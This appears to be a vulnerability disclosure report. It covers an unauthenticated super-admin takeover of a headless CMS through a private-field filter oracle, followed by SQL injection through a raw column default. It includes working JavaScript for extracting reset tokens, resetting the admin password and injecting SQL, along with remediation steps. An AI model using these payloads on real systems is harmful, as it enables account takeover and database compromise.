← Back to all reports

Unauthenticated CMS Super-Admin Takeover via Private-Field Oracle

Reported May 23, 2026
Severity Critical
Platform Web
Vulnerability Class Authentication Bypass (CWE-287)
Target Type Sports Analytics Platform
Impact Full site takeover + production SQL injection

The Risk

Anyone on the internet, with no login and no special tools, could take full administrative control of the system that runs the company's entire public website. A flaw let an attacker read an administrator's secret password-reset code straight out of a public web address, one character at a time, then use it to set a new password and walk in as the highest-level administrator. From there they could rewrite every page of the site, plant malicious content that runs in every visitor's browser, and reach directly into the company's production database to read and corrupt it. The whole takeover took about two minutes and needed nothing more than a normal web browser.

The Vulnerability

The public marketing website was powered by a headless content management system. A headless CMS stores all the site's content and serves it to the public site through an API. The version in production was an outdated release with two known, unpatched flaws.

The Private-Field Oracle

The CMS exposed a public, unauthenticated content API. That API let callers filter published content by the administrator who last updated it, using a relation filter on the modifiedBy field. Internally this produced a database JOIN against the admin users table, and the filter result was reflected back as a simple yes/no in the response: a matching row meant the response's total count rose above zero.

Crucially, the filter did not restrict which columns of the admin users table it could match against. Private columns that are never meant to leave the server, including the administrator's password hash and their reset token, were both reachable through this filter. Combined with a startsWith operator, this turned a content-listing endpoint into a character-by-character oracle for private admin data. No authentication, no rate limiting on the API.

The Post-Auth SQL Injection

The same outdated CMS version carried a second flaw in its content modeling layer. When a content-type definition marked a column's default value as raw, the CMS passed that value verbatim to the database driver's raw-query path. The attacker-supplied string was then inlined directly into the next CREATE TABLE ... DEFAULT statement run against the production database, with no escaping.

The Attack

The full chain went from zero knowledge to highest-level administrator to production database injection. Every request was issued from a plain browser console against the live target's own origin, so no cross-origin workarounds were needed.

Step 1: Discover the Admin Email

Starting from nothing, the admin email address was enumerated one character at a time by walking an alphabet against the modifiedBy.email relation filter. A matching prefix returned a result; a non-match returned none. The loop extended the known prefix until no character advanced it.

const A='abcdefghijklmnopqrstuvwxyz0123456789.@-_';
let k='';
for (let i=0;i<60;i++) {
  let f=false;
  for (const c of A) {
    const r = await (await fetch(`/api/content?filter[modifiedBy][email][startsWith]=${encodeURIComponent(k+c)}`)).json();
    if (r.total>0) { k+=c; f=true; break; }
  }
  if (!f) break;
}
console.log('EMAIL:', k);

Step 2: Mint and Steal a Reset Token

With the email known, an unauthenticated POST /api/internal/forgot-password caused the server to generate a fresh password-reset token and store it on the live admin row. That token is a 40-character hex string and is supposed to be readable only by the server and delivered only over email. Using the same oracle, the token was read back character by character through the public content API:

const A='0123456789abcdef';
let k='';
for (let i=0;i<40;i++) {
  for (const c of A) {
    const r = await (await fetch(`/api/content?filter[modifiedBy][resetToken][startsWith]=${k+c}`)).json();
    if (r.total>0) { k+=c; break; }
  }
}

Against the live target, extraction was deliberately capped at six characters to prove the leak without hijacking the real admin account. The reflected prefix confirmed a genuinely private field was reachable. The full 40-character extraction, password reset, and post-auth steps were reproduced end to end against a local scaffold of the identical CMS version.

Step 3: Reset the Password and Become Super-Admin

With the full token, POST /api/internal/reset-password set an attacker-chosen password and returned a super-admin session token in the response, with no cryptography and no email access required:

fetch('/api/internal/reset-password', {
  method: 'POST',
  headers: {'Content-Type':'application/json'},
  body: JSON.stringify({
    resetToken: '<extracted token>',
    password: '<attacker password>'
  })
}).then(r => r.json()).then(d => {
  window.JWT = d.data.token; // role: super-admin
});

Logging into the admin dashboard with the attacker-chosen credentials confirmed full control: content management, content modeling, settings, and user administration all accessible, without ever knowing the original password or having access to the admin's mailbox.

Step 4: Escalate to Production SQL Injection

Reusing the super-admin session token, a malicious content-type was posted whose column default was marked raw. The supplied SQL expression was emitted verbatim into the next CREATE TABLE statement against the production database:

fetch('/api/internal/content-types', {
  method: 'POST',
  headers: { 'Authorization': 'Bearer '+window.JWT, 'Content-Type':'application/json' },
  body: JSON.stringify({
    contentType: {
      name: N, kind: 'collection',
      attributes: { data: { type: 'string', column: { default: '<SQL>', raw: true } } }
    }
  })
});

Substituting a subquery for the default value caused the database to evaluate it at insert time. The injection point accepts a broad set of expressions including current_user, current_database(), file-read functions depending on database role, and timing functions for denial of service.

The Impact

The headless CMS drove every page of the public marketing site through runtime fetches: home, about, capabilities, blog, careers, and contact. Write access to the CMS therefore meant:

  • Full defacement of every page on the public domain
  • Stored malicious script delivered into every visitor's browser on the apex marketing domain
  • Control of search-engine metadata and replacement of hosted assets through the upload store
  • Creation, modification, and deletion of any administrator account

The SQL injection added database-layer impact that survives admin password rotation and admin user removal: arbitrary SQL expression evaluation at insert time, potential file read depending on the database role, and a persistent denial of service recoverable only by manual schema-file cleanup.

Against the live target, the password hash was demonstrably extractable through the same oracle (a full bcrypt hash recovered in about ten minutes), and the reset token was confirmed reflected before testing stopped. The complete unauthenticated-to-super-admin chain ran in roughly two minutes.

Remediation

  • Upgrade the headless CMS to the patched release that closes both the private-field relation-filter leak and the raw-default SQL injection
  • Restrict the public content API to authenticated requests where the public-content use case allows it
  • Add rate limiting on content API reads to make character-by-character oracles impractical
  • Restrict content modeling and schema-change access to the smallest possible set of trusted administrators
  • Rotate the affected admin credentials and invalidate any outstanding reset tokens after patching